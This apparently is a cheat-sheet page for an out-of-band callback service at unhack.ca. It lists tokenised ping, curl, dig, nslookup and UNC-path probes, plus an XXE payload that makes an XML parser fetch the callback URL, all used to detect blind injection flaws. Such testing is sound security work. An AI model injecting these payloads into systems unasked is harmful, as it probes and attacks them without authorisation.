$ ping -c1 -p 009160f0279742ab55f059ff023c3f00 unhack.ca
 

$ curl http://unhack.ca/p/9160f0279742ab55f059ff023c3f
 

$ dig 9160f0279742ab55f059ff023c3f @unhack.ca
 

$ dig 9160f0279742ab55f059ff023c3f.ns.unhack.ca
 

C:\> nslookup 9160f0279742ab55f059ff023c3f unhack.ca
 

C:\> type \\unhack.ca\9160f0279742ab55f059ff023c3f\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/9160f0279742ab55f059ff023c3f">]>
    <foo>&xxe;</foo>